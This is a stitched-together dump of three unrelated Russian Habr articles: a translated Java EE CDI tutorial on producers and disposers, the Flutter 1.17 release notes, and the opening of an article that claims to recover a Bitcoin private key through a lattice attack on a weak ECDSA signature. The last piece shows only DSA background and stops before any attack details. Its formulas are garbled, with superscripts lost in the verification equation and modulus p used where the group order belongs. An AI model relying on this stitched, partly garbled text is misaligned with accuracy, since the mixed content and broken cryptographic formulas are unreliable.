Если вы следите за этим блогом, то помните, что в последнее время я пишу (и [говорю](https://antoniogoncalves.org/2011/05/23/to-inject-or-not-to-inject-cdi-is-the-question/)) о CDI ([Contexts and Dependency Injection](http://jcp.org/en/jsr/summary?id=299)). У CDI много аспектов, но до сих пор я акцентировал внимание на том, как [начать работу с CDI](https://antoniogoncalves.org/2011/01/12/bootstrapping-cdi-in-several-environments/) в вашем окружении и как [интегрировать CDI в существующее Java EE 6 приложение](https://antoniogoncalves.org/2011/02/07/adding-cdi-to-an-existing-java-ee-6-application/), а затем сфокусировался на внедрении зависимостей в CDI. Это уже третий пост про внедрение в CDI: в [первом](https://habrahabr.ru/company/at_consulting/blog/301636/) я рассказывал о внедрении по умолчанию и спецификаторах, во [второй](https://habrahabr.ru/company/at_consulting/blog/301768/) о всех возможных точках внедрения (поле, конструктор, сеттер). В этом посте я расскажу о **продюсерах** или "*как вы можете [типобезопасным](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF%D0%BE%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C) способом внедрять что угодно и куда угодно*".
Внедряем только бины?
=====================
До этого я показывал вам, как внедрять бины с помощью обычной аннотации `@Inject`. Если вы посмотрите на пример с генерацией номера книги, который я [использовал ранее](https://habrahabr.ru/company/at_consulting/blog/301636/), то увидите сервлет и rest сервис, в которые внедряется реализация интерфейса `NumberGenerator`. Благодаря спецификаторам, сервлет может получить `IsbnGenerator`, помеченный в точке внедрения спецификатором `@ThirteenDigit`, а rest сервис получит `IssnGenerator`, помеченный `@EightDigits` (смотрите мой [первый](https://habrahabr.ru/company/at_consulting/blog/301636/) пост). Представленная диаграмма классов демонстрирует некоторую комбинацию внедрения бинов:
Но как вы видите, всё это **внедрение бинов в другие бины**. В CDI мы можем внедрять только бины? Нет. **Вы можете внедрять что угодно и куда угодно**.
Продюсеры
=========
Да, вы можете внедрять что угодно и куда угодно. Всё, что вам нужно для этого сделать, это *создать что-то*, что вы хотите потом внедрить. Для этого в CDI есть **продюсеры** (отличная реализация паттерна [Фабрика](http://en.wikipedia.org/wiki/Factory_method_pattern)). С их помощью можно создать:
* Класс: неограниченное множество типов бина, его суперклассов и всех реализуемых им интерфейсов
* Интерфейс: неограниченное множество типов бина, рассширенные им интерфейсы, а также `java.lang.Object`
* Примитивы и Java массив
Так что вы можете внедрять `java.util.Date`, `java.lang.String` или даже `int`. Начнем с создания и внедрения некоторых типов данных и примитивов.
Создание типов данных и примитивных типов
=========================================
Один из примеров того, как *внедрить что угодно и куда угодно*, это внедрение типов данных и примитивов. Ну что, давайте попробуем внедрить `String` и `int`. Для этого мне нужно добавить дополнительные классы в нашу модель. До этого `IsbnGenerator` создавал случайное число в формате **13-124-454644-4**. Этот номер состоит из строки, выступающей в роли префикса (**13-124**), и целого значения — постфикса (**4**). Следующая диаграмма классов показывает два новых класса `PrefixGenerator` и `PostfixGenerator`, которые будут использоваться для генерации номера:
Если мы посмотрим, например на код `PrefixGenerator`, то увидим класс, который сам не помечен никаким спецификатором, в отличие от его методов. Метод `getIsbnPrefix` возвращает строку, которая специфицирована аннотацией `@ThirteenDigits`. Эта строка создается с помощью CDI (благодаря `@Produces`), а это значит, что вы можете внедрять её с помощью `@Inject` и её спецификатора (`@ThirteenDigits`).
```
public class PrefixGenerator {
@Produces @ThirteenDigits
public String getIsbnPrefix() {
return "13-84356";
}
@Produces @EightDigits
public String getIssnPrefix() {
return "8";
}
}
```
А теперь внимательно посмотрите на класс `PostfixGenerator`. Этот код аналогичен предыдущему, за исключением того, что он создает `int`, который потом может быть внедрен.
```
public class PostfixGenerator {
@Produces @ThirteenDigits
public int getIsbnPostfix() {
return 13;
}
@Produces @EightDigits
public int getIssnPostfix() {
return 8;
}
}
```
А теперь поменяем логику генерации ISBN номера. В бин `IsbnGenerator` внедряются `String` и `int` c помощью `@Inject` и `@ThirteenDigits`. Теперь вы понимаете, что значит **строгая типизация** в CDI. Используя этот синтаксис (`@Inject @ThirteenDigits`), CDI знает, что нужно внедрить на место `String`, а что на место int и какую использовать реализацию `NumberGenerator`.
```
@ThirteenDigits
public class IsbnGenerator implements NumberGenerator {
@Inject @ThirteenDigits
private String prefix;
@Inject @ThirteenDigits
private int postfix;
public String generateNumber() {
return prefix + "-" + Math.abs(new Random().nextInt()) + "-" + postfix;
}
}
```
Внедрение ресурсов Java EE через поля продюсеров
================================================
Итак, если CDI может внедрять что угодно и куда угодно, если он даже умеет внедрять строки и целые числа, то как насчет ресурсов Java EE? Это другая история, и продюсеры нам помогут в этом. Как я уже говорил ранее, в CDI всё [типобезопасно](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF%D0%BE%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C), так что в CDI **нет никакого способа внедрить ресурс по его JNDI-имени**, например, так: `@Inject(name="jms/OrderQueue")`. Стандартный пример — менеджер сущностей. Если вы не используете CDI, то в Java EE 6 вы можете внедрить его следующим образом:
```
@Stateless
public class ItemEJB {
@PersistenceContext(unitName = "cdiPU")
private EntityManager em;
...
}
```
Так почему же невозможно сделать обычный `@Inject` для менеджера сущностей? Если вы помните мой [первый](https://habrahabr.ru/company/at_consulting/blog/301636/) пост о неоднозначности внедрения, то тут та же проблема. У вас может быть несколько единиц персистентности (именованных обычной строкой), и если вы просто напишите `@Inject`, то CDI не сможет понять, какой именно из них нужно внедрить. Вместо этого вы должны создавать менеджер сущностей первым и как-то его [именовать](https://docs.jboss.org/cdi/spec/1.2/cdi-spec.html#names) (если не хотите использовать `@Default`):
```
public class DatabaseProducer {
@Produces
@PersistenceContext(unitName = "cdiPU")
@BookStoreDatabase
private EntityManager em;
}
```
Класс `DatabaseProducer` использует `@PersistenceContext` для внедрения менеджера сущностей с единицей персистентности cdiPU. Он будет помечен спецификатором (`@BookStoreDatabase`) и инициализирован, после чего вы можете внедрять его в EJB следующим образом:
```
@Stateless
public class ItemEJB {
@Inject
@BookStoreDatabase
private EntityManager em;
...
}
```
Другой хороший пример — это создание фабрик JMS и адресатов. Аннотация `@Resource` позволяет вам получить JNDI-ссылку на JMS-фабрику или адресата, спецификатор `@Order` именует её, а `@Produces` позволяет в дальнейшем её внедрить:
```
public class JMSResourceProducer {
@Produces @Order @Resource(name = "jms/OrderConnectionFactory")
private QueueConnectionFactory orderConnectionFactory;
@Produces @Order @Resource(name = "jms/OrderQueue")
private Queue orderQueue;
}
```
Теперь ваш EJB может использовать типобезопасный `@Inject`:
```
@Stateless
public class ItemEJB {
@Inject @Order
private QueueConnectionFactory orderConnectionFactory;
@Inject @Order
private Queue orderQueue;
...
}
```
Создание Java EE ресурсов с помощью методов продюсеров
======================================================
Рассмотренные примеры достаточно простые: создаем поле и затем можем его внедрять. Это называется продюсирующим полем. Но иногда вам необходима более сложная бизнес-логика создания бина, и это мы будем называть методом-продюсером. Давайте посмотрим на другой пример. Когда вам нужно отправить JMS-сообщение, вы всегда внедряете JMS-фабрику и адресата (очередь или топик), создаете соединение, потом сессиию и так далее, пока не отправите сообщение. Поскольку этот код часто повторяется и может содержать ошибки, то почему бы его не вынести куда-нибудь в отдельный класс и не создавать с его помощью сессию и другие компоненты, необходимые для отправки сообщения? Этот класс мог бы выглядеть, например, так:
```
public class JMSResourceProducer {
@Resource(name = "jms/OrderConnectionFactory")
private QueueConnectionFactory orderConnectionFactory;
@Produces @Order @Resource(name = "jms/OrderQueue")
private Queue orderQueue;
@Produces @Order
public QueueConnection createOrderConnection() throws JMSException {
return orderConnectionFactory.createQueueConnection();
}
@Produces @Order
public QueueSession createOrderSession(@Order QueueConnection conn) throws JMSException {
return conn.createQueueSession(true, Session.AUTO_ACKNOWLEDGE);
}
}
```
Во-первых, класс использует `@Resource` для получения ссылок на `QueueConnectionFactory` и `Queue`. По тем же причинам, которые я описывал выше, у вас может быть несколько JMS-фабрик и адресатов, и вы должны различать их по JNDI-имени. И так как CDI не позволяет указывать имя в точке внедрения, вы должны использовать `@Resource` вместо `@Inject`. Метод `createOrderConnection` использует `QueueConnectionFactory` для создания `QueueConnection` и дальнейшего его внедрения (попутно именуя его `@Order`). Если вы внимательно посмотрите на метод createOrderSession, то увидите, что его параметр — это созданный раннее для внедрения `QueueConnection` и с его помощью создается `QueueSession`. В итоге достаточно просто внедрить JMS-сессию во внешний компонент без её создания:
```
@Stateless
public class ItemEJB {
@Inject @Order
private QueueSession session;
@Inject @Order
private Queue orderQueue;
private void sendOrder(Book book) throws Exception {
QueueSender sender = session.createSender(orderQueue);
TextMessage message = session.createTextMessage();
message.setText(marshall(book));
sender.send(message);
}
...
}
```
Создание и… утилизация
======================
Вы можете сказать: "Ок, у меня есть внешний класс для черновой работы и создания соединения и сессии… **но кто их будет закрывать?**" Действительно, кто-то должен освободить эти ресурсы, закрыв их. И в этот момент CDI демонстрирует ещё немного магии: `@Disposes`.
```
public class JMSResourceProducer {
@Resource(name = "jms/OrderConnectionFactory")
private QueueConnectionFactory orderConnectionFactory;
@Produces @Order @Resource(name = "jms/OrderQueue")
private Queue orderQueue;
@Produces @Order
public QueueConnection createOrderConnection() throws JMSException {
return orderConnectionFactory.createQueueConnection();
}
@Produces @Order
public QueueSession createOrderSession(@Order QueueConnection conn) throws JMSException {
return conn.createQueueSession(true, Session.AUTO_ACKNOWLEDGE);
}
public void closeOrderSession(@Disposes @Order QueueConnection conn) throws JMSException {
conn.close();
}
public void closeOrderSession(@Disposes @Order QueueSession session) throws JMSException {
session.close();
}
}
```
Для того чтобы попросить CDI закрыть ресурс, вам нужно просто определить метод, аналогичный тому, который создавал этот ресурс (`createOrderSession(@Order QueueConnection conn)` создаёт сессию, а `closeOrderSession(@Order QueueConnection conn)` для её закрытия) и добавить аннотацию `@Disposes`. CDI будет утилизировать ресурсы в правильном для вас порядке (сначала сессия, потом соединение). Я об этом не упоминал, но CDI создает и утилизирует ресурсы в зависимости от их области действия (resquest, session, application, conversation...). Но об этом уже в другой раз. (информация есть в [Beginning Java EE 7](http://www.apress.com/9781430246268) [[перевод](http://www.litres.ru/entoni-gonsalves/izuchaem-java-ee-7-2/)] — прим. пер.)
Заключение
==========
Как вы поняли из моих предыдущих постов ([часть 1](https://habrahabr.ru/company/at_consulting/blog/301636/), [часть 2](https://habrahabr.ru/company/at_consulting/blog/301768/)), CDI — это о внедрении зависимостей. До сих пор я показывал, как внедрять бины, но теперь вы знаете как можно внедрить что угодно (строки, примитивы, менеджеры сущностей, JMS-фабрики...) куда угодно (POJO, сервлеты, EJB...). Вам просто нужно создавать то, что вы хотите внедрять (используя либо продюсирующие поля, либо методы-продюсеры).
Исходный код
============
[Скачайте код](https://github.com/agoncal/agoncal-sample-cdi) и расскажите, что вы о нем думаете. | https://habr.com/ru/post/302010/ | null | ru | null |
# Вышел Flutter 1.17
Сегодня (6 мая 2020) мы с радостью представляем Flutter 1.17, наш первый стабильный релиз в этом году.
Наша цель – выпускать стабильные релизы примерно ежеквартально. Однако, данный релиз занял немного больше времени, потому что мы [меняли нашу инфраструктуру для нового процесса релизов](https://medium.com/p/f723d898d7af). Для нас качество – это приоритет №1, и мы и считаем, что новая модель релизов улучшит поддержку stable ветви.
Релиз 1.17 полон исправлений: беспрецедентное количество (`6339`) проблем закрыто с момента последнего стабильного релиза 1.12. Во многом такое количество связано с [нашим партнерством с Nevercode](https://blog.codemagic.io/flutter-and-codemagic-join-forces-on-github/), который дало возможность лучше реагировать на возникающие проблемы (issue). В этом году мы закрыли больше ошибок, чем было открыто, что привело к сокращению количества проблем до ~800. Многие из этих ошибок были решены с помощью 3164 пулл-реквестов, которые мы получили от 231 контрибьютора. Это огромные цифры, и мы искренне благодарим всех за их работу и вклад, особенно, в это сложное время.
Если вас интересует полный список пулл-реквестов для этого релиза, то посмотрите на нашем сайте [flutter.dev](https://flutter.dev/docs/development/tools/sdk/release-notes/changelogs/changelog-1.17.0). В дополнение к качественным улучшениям нам также удалось внедрить некоторые новые функции в этот релиз, включая поддержку [Metal](https://en.wikipedia.org/wiki/Metal_(API)) на iOS, новые Material компоненты, новые инструменты отслеживания сети и многое другое! Этот релиз также включает в себя Dart 2.8, о котором вы можете [узнать больше в Dart блоге](https://medium.com/dartlang/announcing-dart-2-8-7750918db0a).
Улучшение производительности и уменьшение размера сборок для мобильных устройств
--------------------------------------------------------------------------------
Основное внимание в этом выпуске было уделено продолжению работы по улучшению производительности и потребления памяти. Просто обновив Flutter до 1.17, вы должны увидеть более быструю анимацию, меньшие по размеру приложения и более низкую загрузку памяти. В этом релизе вас ждет [ускорение на 20%-37%](https://github.com/flutter/flutter/pull/48900) для работы навигации по умолчанию (непрозрачные переходы). Вы также должны заметить сокращение использования CPU/GPU до 40% для простых анимаций iOS, в зависимости от аппаратного обеспечения (подробно описано в [PR 14104](https://github.com/flutter/engine/pull/14104) и [PR 13976](https://github.com/flutter/engine/pull/13976)).
Этот релиз также обеспечивает значительное уменьшение размера приложения за счет [нескольких](https://github.com/dart-lang/sdk/commit/f56b0f690789b6f0e2e5bc1340abf4eba414b7a0) [исправлений](https://github.com/dart-lang/sdk/commit/a2bb7301c5795e6b28089a8dc96e6ab5ca798e22), [которые](https://github.com/dart-lang/sdk/commit/e2faac751e1ef3707730e6e48f4d8f22ecbf35c3) [в сумме](https://github.com/dart-lang/sdk/commit/d77f4913a18ecce8c4be95cbaa4299ff1521dc10) [дают](https://github.com/dart-lang/sdk/commit/8e7ffafbafc8203361111ddcafe0e0fcc372edf8) большой результат. Например, Flutter Gallery для Android в конце 2019 года составлял 9,6 МБ, а сейчас составляет 8,1 МБ, что на 18,5% меньше.
Данный релиз приносит 70%ное сокращение памяти при быстрой прокрутке больших изображений, что также может привести к увеличению производительности в зависимости от объема памяти устройства.
*Тесты по использованию памяти для принятых пулл-реквестов (чем ниже показатели, тем лучше)*
Однако, самым главным улучшением производительности является добавление поддержки Metal в iOS.
Поддержка Metal улучшает производительность на 50% для iOS
----------------------------------------------------------
Поддержка Metal в iOS обеспечивает почти прямой доступ к базовому графическому процессору и является рекомендуемым графическим API Apple. На устройствах iOS, полностью поддерживающих Metal, Flutter теперь использует его по умолчанию, что позволяет приложениям работать быстрее большую часть времени, увеличивая скорость рендеринга в среднем примерно на 50% (в зависимости от нагрузки).
*iOS Тесты времени рендеринга для OpenGL и Metal (чем ниже показатели, тем лучше)*
Для устройств, которые не поддерживают Metal полностью (это те, что были до процессора A7 или те, которые работают под управлением iOS версии младше 10й), Flutter использует OpenGL, как это было и раньше, обеспечивая нативную скорость рендеринга для старых устройств. Для получения более подробной информации ознакомьтесь с часто задаваемыми вопросами про [Metal в iOS на странице Flutter wiki](https://github.com/flutter/flutter/wiki/Metal-on-iOS-FAQ).
Новые Material виджеты: NavigationRail, DatePicker и другие
-----------------------------------------------------------
Мы продолжаем развивать и совершенствовать Material дизайн-систему, реализованную во Flutter, учитывая обратную связь от внутренних и внешних пользователей. В этом релизе мы добавили [NavigationRail](https://master-api.flutter.dev/flutter/material/NavigationRail-class.html), новый виджет, который предлагает адаптивную модель навигации приложения. Он был [разработан](https://material.io/components/navigation-rail) и реализован Google Material Design командой. `NavigationRail` отлично подходит для приложений, которые могут переключаться между мобильными и настольными форм-факторами, потому что его очень легко заменить на `BottomNavigator` по мере увеличения размера экрана вашего приложения.
**NavigationRail**
Чтобы посмотреть на `NavigationRail` в действии, зайдите на [GitHub web\_dashboard](https://github.com/flutter/samples/tree/master/experimental/web_dashboard) или попробуйте на [DartPad](https://dartpad.dev/b9c6cd345fd1cff643353c1f4902f888).
В дополнение к новому виджету этот релиз включает обновленные виджеты для работы с выделенным текстом и DatePicker.
**Обновленный DatePicker**
Обновление `DatePicker` включает в себя новые визуальные эффекты, соответствующие новым [правилам по Material Design](https://material.io/components/pickers#mobile-pickers), а также новый режим ввода текста. Вы можете прочитать о деталях в спецификации [редизайна Material Date Picker](https://flutter.dev/go/material-date-picker-redesign).
*Обновленная работа с выделенным текстом на Android*
*Обновленная работа с выделенным текстом на IOS*
Меню выбора при выделении текста теперь имеет улучшенную точность воспроизведения для [Android](https://github.com/flutter/flutter/pull/49391) и [iOS](https://github.com/flutter/flutter/pull/54140), когда кнопки длиннее, чем можно отобразить без переполнения. Особенно заметно в тех местах, где название пункта меню может быть очень длинным.
В этом же релизы мы добавили новую версию пакета [animations](https://pub.dev/packages/animations), который предоставляет готовые анимации, реализующие [новую Material motion спецификацию](https://material.io/design/motion/the-motion-system.html).
*Примеры анимаций для `Container` из обновленного пакета*
В [статье о Implementing Motion](https://medium.com/google-design/implementing-motion-9f2839002016) Material Design команда определяет четыре модели перехода, описывающие анимацию между компонентами и полноэкранными представлениями: Container transform, Shared axis, Fade through, и Fade *(прим. [примеры, как это выглядит](https://material.io/develop/android/theming/motion/))*. Хотя эти анимации всегда были возможны во Flutter, пакет `animations` значительно облегчает их реализацию. Добавьте этот пакет в свое приложение и порадуйте своих пользователей уже сегодня!
Обновление TextTheme API
------------------------
В данном релизе команда Flutter завершила реализацию части Type Scale из 2018 Material Design спецификации, не ломая при этом существующие приложения Flutter. Опциональная поддержка новых конфигураций — но не новых имен — была добавлена в [PR 22330](https://github.com/flutter/flutter/pull/22330) в октябре 2018 года. Существующие имена стилей текста не были изменены, поскольку это поломало бы работу API, что, вероятно, повлияло бы на большинство приложений. Этот релиз обновляет [TextTheme](https://api.flutter.dev/flutter/material/TextTheme-class.html) API в соответствии с текущей Material спецификацией, но сохраняет старые имена, чтобы ваш код не ломался. Однако старые имена считаются устаревшими (deprecated), поэтому вы получите предупреждения, которые сообщат, что надо заменить данные имена на новые *(прим. [в исходниках](https://github.com/flutter/flutter/blob/stable/packages/flutter/lib/src/material/text_theme.dart#L132) в комментариях к старым именам написано, что им теперь соответствует)*.
Имена и конфигурации 2018 Material TextStyles приведены в таблице ниже.
**Большая картинка**
Обратите внимание, что `TextStyles`, называемые `body1` и `body2` в спецификации Material Design, называются `bodyText1` и `bodyText2` в API Flutter `TextTheme`. Аналогично, `TextStyles`, называемые `Н1-Н6` в спецификации, `headline1-headline6` – в `TextTheme` API.
Google шрифты для Flutter
-------------------------
Текст и шрифты идут рука об руку, так что, если вы в восторге от новой реализации `TextTheme` API, то вы, вероятно, также будете в восторге от [новых шрифтов Google для Flutter v1.0](https://medium.com/flutter/introducing-google-fonts-for-flutter-v-1-0-0-c0e993617118).
*Использовать Google шрифты во Flutter очень просто*
Google шрифты позволяют разработчикам легко экспериментировать и использовать любые шрифты из fonts.google.com в своих приложениях. Когда приложение готово к публикации, разработчик решает, получит ли пользователь шрифт, загрузив его из API, или шрифт поставляется вместе с приложением.
Доступность и интернационализация
---------------------------------
Наконец, поскольку мы считаем важным, чтобы приложения Flutter были доступны как можно более широкой аудитории, важной точкой постоянного внимания была и остается доступность. В релизе мы выполнили работу по всем направлениям, включая исправление ошибок доступности для [прокрутки](https://github.com/flutter/flutter/issues/43883), [текстовых](https://github.com/flutter/flutter/issues/52487) [полей](https://github.com/flutter/flutter/issues/53065) и [других виджетов ввода](https://github.com/flutter/flutter/issues/49259). Вы можете посмотреть полный список закрытых задач по улучшению доступности на [GitHub](https://github.com/flutter/flutter/issues?q=is%3Aclosed+is%3Aissue+label%3A%22a%3A+accessibility%22+closed%3A2019-11-25..2020-04-02). Рекомендуем вам проверить свои приложения на критерии доступности. Еще мы обновили [нашу документацию с некоторыми лучшими практиками](https://flutter.dev/docs/development/accessibility-and-localization/accessibility).
По интернационализации мы поработали над некоторыми проблемами, затрагивающими IMEs клавиатуры Samsung, которые влияли на ввод текста для различных восточноазиатских языках. Мы с удовольствием сообщаем, что мы завершили эту работу, и [у корейских разработчиков, в частности, должно быть много поводов для радости](https://github.com/flutter/flutter/issues/42273).
Инструменты: Dart DevTools – порт на Flutter, Быстрый старт для Android и другое
--------------------------------------------------------------------------------
Данный релиз приближает нас все ближе к замене текущей версии Dart DevTools на новую Flutter версию. Если вы хотите попробовать, запустите DevTools и нажмите на значок "beaker" в правом верхнем углу DevTools.
Пока вы используете предрелизную версию Dart DevTools, реализованную с помощью Flutter, вы, вероятно, заметите все улучшения, но самым большим из них является новая вкладка **Network**.
Если вы не видите вкладку Network в предрелизной версии Dart DevTools (например, если запускаете из командной строки), то можете обновиться вручную, используя следующую команду:
```
$ pub global activate devtools
```
На вкладке Network будет отображаться сетевой трафик для вашего приложения Flutter, как только вы нажмете кнопку Record. Кроме того, если хотите зафиксировать сетевой трафик сразу же после запуска вашего приложения, то можете включить соответствующую строку кода в свой метод `main()`:
```
void main() {
// enable network traffic logging
HttpClient.enableTimelineLogging = true;
runApp(MyApp());
}
```
В дополнение к обновленному Dart DevTools этот релиз также добавляет поддержку экспериментальной возможности "быстрый старт" (“fast start”), которая позволяет запускать отладку приложения Flutter на целых 70% быстрее для Android. Вы можете получить доступ к данной возможности с помощью следующей команды.
```
flutter run — fast-start -d
```
Установится приложение, которое зависит только от вашего кода плагина, исключая любой код Dart или содержимое папки *assets*. Это позволяет повторным командам `flutter run` отрабатывать быстрее, так как изменения в коде Dart или *assets* не требуют перестройки APK. Ваше приложение оборачивается в общую Android "оболочку", которая на самом деле не устанавливается на устройстве в отличии от обычных вариантов запуска. Однако, есть некоторые случаи, когда так не будет работать, например: если вы используете плагины, которые обращаются к фоновому исполнению. С другой стороны, если ваше время запуска отладки Android расстраивает вас, то стоит попробовать это вариант.
Еще одно изменение, которое следует отметить, заключается в том, что теперь `AndroidX` – единственный вариант при создании нового Flutter проекта. Библиотеки [AndroidX](https://developer.android.com/jetpack/androidx) обеспечивают расширенную функциональность Android, известную как [Android Jetpack](https://developer.android.com/jetpack/?gclid=Cj0KCQjwka_1BRCPARIsAMlUmEpxmZqWZyO2NTx1F_aYYRm0EUtwl6Rlr2ViKXwZpsQKo7ailItPdJkaAhnNEALw_wcB). В предыдущем релизе мы отказались от поддержки оригинальной библиотеки Android и перешли на AndroidX по умолчанию для всех новых проектов. С этим релизом флаг `--androidx` для `flutter create` проекта является единственным доступным вариантом. Существующие приложения, которые не используют AndroidX, могут продолжать компилироваться с помощью Flutter, однако, [сейчас самое подходящее время](https://flutter.dev/docs/development/androidx-migration) для перехода на новую библиотеку.
Если вы являетесь пользователем Android Studio или IntelliJ, то обнаружите, что Hot Reload работает лучше. До этого изменения, если у вас были какие-либо ошибки анализатора кода, Hot Reload не перезагружал код. Это может быть довольно неприятно, если ошибка анализа – это что-то, что не повлияло на код, который вы сейчас запускаете, например, как в модульных тестах. С обновлением ошибок анализа недостаточно, чтобы прекратить работу Hot Reload, который теперь зависит от ошибок компилятора из VM.
Если вы хотите получить более ранний доступ к подобным изменениям в плагине Flutter для Android Studio или IntelliJ, то теперь у нас есть `dev` канал для плагина IntelliJ, который вы можете выбрать для более раннего доступа к обновлениям. Цель `dev` канала состоит в том, чтобы собрать отзывы Flutter разработчиков о новых функциях, прежде чем мы сделаем их доступными для всех. Если вы "готовы к приключениям" и хотите предоставить раннюю обратную связь команде Flutter tooling, пожалуйста, [зарегистрируйтесь сегодня](https://groups.google.com/forum/m/#!topic/flutter-announce/tTgQcTgqrKg)!
Для пользователей Visual Studio Code рекомендуется использовать новую команду *Dart: List Outdated Packages*, которая запускает `pub outdated`.
Эта команда предназначена для того, чтобы помочь отслеживать проблемы с версиями в зависимостях проекта.
И последнее, но не менее важное: если вы обнаружите, что у вас произошел сбой в работе Flutter, вам будет предложено зарегистрировать ошибку.
Данные сообщения об ошибках внимательно проверяются нашей командой на предмет серьезности и регулярности, поэтому, пожалуйста, отправляйте их, когда вам будет предложено.
Опыт пользователей: MGM и Superformula
--------------------------------------
Конечно, Flutter существует для того, чтобы обеспечить прекрасный опыт применения. Одним из примеров того, как цифровое агентство делает удивительные вещи, является [Superformula](https://superformula.com/flutter/). Superformula недавно работала с MGM Resorts, чтобы [кардинально обновить свое мобильное приложению](https://www2.mgmresorts.com/app/), полностью переделав его в Flutter. Они сообщают, что "переход на Flutter предоставил дополнительную скорость и гибкость, что приводит к реальной, измеримой ценности как для наших клиентов, так и для их пользователей."
Superformula работала с командой дизайнеров MGM Resorts, чтобы создать новый стандарт дизайна MGM для всех основных веб- и мобильных приложений. С меньшей командой и совершенно новой кодовой базой Flutter они смогли переделать приложение и отправить его в оба магазина приложений гораздо быстрее, чем раньше, что привело к увеличению конверсии бронирования для MGM на 9%.
Breaking Changes
----------------
Как всегда, мы стараемся свести к минимуму количество критических изменений с каждым новым релизом Flutter, но при этом мы должны оставаться способными гарантировать, что Flutter предоставляет интуитивно понятный, гибкий API, который может поддерживать новые идиомы для новых платформах. [В прошлогоднем опросе](https://medium.com/p/3659b02303a5) пользователей вы сказали нам, что терпимо относитесь к тщательно продуманным критическим изменениям, которые улучшают структуру. Поэтому мы продолжаем мягко развивать API. Основные изменения в этом релизе.
* [#42100](https://github.com/flutter/flutter/pull/42100) [Запуск второстепенной анимации предыдущего маршрута при использовании pushReplacement(…](https://groups.google.com/g/flutter-announce/c/y0SvesRHlcE/m/39TuR5FVDQAJ)
* [#45940](https://github.com/flutter/flutter/pull/45940) `UpdateLiveRegionEvent` устарел
* [#49389](https://github.com/flutter/flutter/pull/49389) Отложенная обработка картинок при быстрой прокрутке
* [#49391](https://github.com/flutter/flutter/pull/49391) Text Selection Overflow (Android)
* [#49771](https://github.com/flutter/flutter/pull/49771) Добавлены `assert` для null-указателей при работе с CustomPaint
* [#50318](https://github.com/flutter/flutter/pull/50318) Кэш картинок
* [#50354](https://github.com/flutter/flutter/pull/50354) Ограничения при вычислении границ прямоугольного выделения
* [#50733](https://github.com/flutter/flutter/pull/50733) Генерация сообщения поиска в gen\_l10n
* [#51435](https://github.com/flutter/flutter/pull/51435) Убран `isinitialroute` из `RouteSettings`
* [#52781](https://github.com/flutter/flutter/pull/52781) Перемещен `mouse_tracking.dart` в `rendering`
Заключение
----------
В то же время, как наша мобильная поддержка продолжает развиваться и мы приближаем веб [к необходимому качеству для стабильной разработки](https://medium.com/flutter/flutter-web-support-updates-8b14bfe6a908), Flutter обещает решить проблему, с которой наша индустрия боролась десятилетиями: возможно ли создавать отличные приложения с одной базой исходного кода для нескольких платформах? Со всей мощью и возможностями, которые предоставляет Flutter, мы думаем, что находимся на правильном пути, чтобы ответить на этот вопрос. А что вы собираетесь создавать?
---
PS Всю критику, вопросы и предложения по переводу буду рад услышать в (личных) сообщениях. | https://habr.com/ru/post/500780/ | null | ru | null |
# Одна слабая транзакция в ECDSA в блокчейне Биткоина и с помощью Lattice Attack мы получили Private Key к монетам BTC
> **Что мы знаем про решетчатую атаку?**
>
>
Начнем с того что *алгоритм цифровой подписи на эллиптических кривых* `(ECDSA)` — это распространенная схема цифровой подписи, которую мы видим во многих наших обзорах кода. Он обладает некоторыми желательными свойствами, но также может быть очень хрупким для восстановления закрытого ключа с помощью атаки по побочному каналу, раскрывающей менее одного бита секретного одноразового номера.
> `ECDSA` — это особая форма алгоритма цифровой подписи `(DSA)`. `DSA` — это довольно распространенная схема цифровой подписи , которая определяется тремя алгоритмами: генерация ключа, подпись и проверка. *Алгоритм генерации ключей генерирует закрытый и публичный ключи;* *закрытый ключ отвечает за создание подписей;* *а публичный ключ отвечает за проверку подписей.* Алгоритм подписи принимает в качестве входных данных сообщение и закрытый ключ и создает подпись. Алгоритм проверки принимает в качестве входных данных сообщение, подпись и публичный ключ и возвращает значение `true` или `false`, указывая, является ли подпись действительной.
>
>
`DSA` определяется для любой математической группы, и эта схема безопасна до тех пор, пока проблема дискретного логарифмирования сложна для этой группы. Обычно используемая группа представляет собой целые числа по модулю простого числа p .
Наряду с этой группой у нас будет генератор группы g и некоторая криптографически безопасная *хэш* - функция `H`. Мы можем предположить, что `p , g` и `H` будут общеизвестны.
Генерация ключей работает, сначала случайным образом выбирая значение `x` из целых чисел по модулю `p` . Затем вычисляется значение `y = g^x mod p`
> Закрытый ключ подписи имеет значение `x` , а публичный ключ — `y` . Ключ подписи должен храниться в секрете, поскольку именно он позволяет делать подписи.
>
>
Алгоритм подписи создает подпись из сообщения `m` и секретного ключа x . Сначала генерируется случайный элемент группы `k` . Это известно как одноразовый номер , что важно, когда речь идет об атаках.
Затем вычисляются значения `r = g^k mod p` и `s = ( k^-1 ( H ( m ) + xr )) mod p`
Здесь `k^- 1` — обратная группа, а `H ( m )` — результат вычисления хэша mи интерпретация результата как целое число по модулю p .
Подпись определяется как пара `( r , s )`. (Примечание: если одно из значений `r` или `s` равно `0`, алгоритм перезапускается с новым значением `k` ).
Алгоритм проверки получает на вход подпись `( r , s )`, сообщение `m` и публичный ключ y . Пусть `ŝ = s^-1` , тогда алгоритм выдает истину тогда и только тогда , когда `r , s ≠ 0 и r = ( g H ( m ) y r ) ŝ` .
Эта проверочная проверка работает, потому что `g^H( m ) y^r = g^H(m)+ xr = g^ks`, и поэтому `(g^H(m)y^r)^ŝ = g^k = r`
> *Схема цифровой подписи считается безопасной, если ее невозможно подделать .*
>
>
Не подделываемость имеет формальное криптографическое значение, но на высоком уровне это означает, что вы не можете создавать подписи, не зная секретного ключа (если только вы не скопировали уже существующую подпись, созданную из секретного ключа). Доказано, что `DSA` невозможно подделать при допущении дискретного журнала .
